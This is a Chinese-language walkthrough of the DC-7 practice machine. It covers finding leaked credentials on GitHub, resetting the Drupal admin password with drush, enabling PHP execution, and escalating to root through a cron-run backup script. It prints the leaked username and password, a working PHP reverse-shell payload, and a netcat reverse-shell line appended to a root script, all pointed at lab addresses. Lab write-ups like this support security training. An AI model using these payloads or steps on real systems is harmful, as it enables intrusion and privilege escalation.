【DC系列07】DC-7靶机复盘
这个靶机同样是直接给ip的
这个靶机在进入shell前是没有破绽的,并且进入主页面以后也并没有什么漏洞。如果不搜索一下这个靶机的解法很难去下一步操作。
在github.com上搜索dc7user然后选择code,里面可以找到dc7一个远程登陆的密码。
这个靶机应该就是想表达的就是源代码泄露漏洞,让你自己去搜索一些信息。
同时我们利用dirsearch -u http://192.168.102.148扫描一下这个网站,发现一个登陆界面。
$username = "dc7user";
$password = "MdR3xOgB7#dW";
远程登陆上以后发现一个mbox文件,打开发现这里面其实指向了一个文件,就是/opt/scripts/backups.sh文件,并且是每隔15分钟运行一次
我们查看一下这个文件,发现这是个root文件,并且www-data组的用户拥有全部权限。
我们进入backups.sh的目录cat一下,发现里面执行了一些代码。
同时我们在/var/mail下发现一个dc7user文件,这个文件显示了backups.sh每次执行的时间,每隔15分钟执行一次,并且发现了backup.sh执行的其他代码。
backup.sh每次执行的时候里面会运行一个drush命令,这个命令可以对drupal搭建的网站进行用户密码修改,我们可以利用重置密码这里来爆破用户名,当用户名正确的时候会发送电子邮件。
确认用户名是admin时候可以直接利用drush进行一个密码修改,然后我们再登陆。
登陆后发现唯一可以写代码的地方不支持php代码,我们就想着装个php插件,让可以运行php代码。
在Manage–Extend–List下面可以添加插件,这里面找了找没有关于php的插件,就需要我们自己从网上找到来添加。
这是一个插件的地址,输入就可以了。
下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
点击Install(安装)就按照成功了。
再搜索PHP就找到PHP插件了,再点击Install。
返回Manage–Content再点击Edit。
发现这个可以插入代码的框框就可以输入PHP代码了,这时候我们插入一个PHP反弹shell。
<?php
$ip='192.168.102.129';
$port='8888';
$sock = fsockopen($ip,$port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
添加保存成功后再点击运行一下这个页面,反弹shell就成功启动了。
这时候我们就进入到了www-data的shell下,找到刚才的backups.sh文件,往里面追加一条反弹shell。然后等待这个文件下次自己运行,如果自己运行就是以root权限运行的,返回的shell就是root权限的shell,而如果我们自己运行就是普通账户运行的,是不能返回root权限的。
echo "nc -e /bin/bash 192.168.102.129 8888“ >> backups.sh
我们可以看到上次运行时间是22:15分,等到22:30就自动运行backups.sh这个文件了,我们也成功返回了root权限。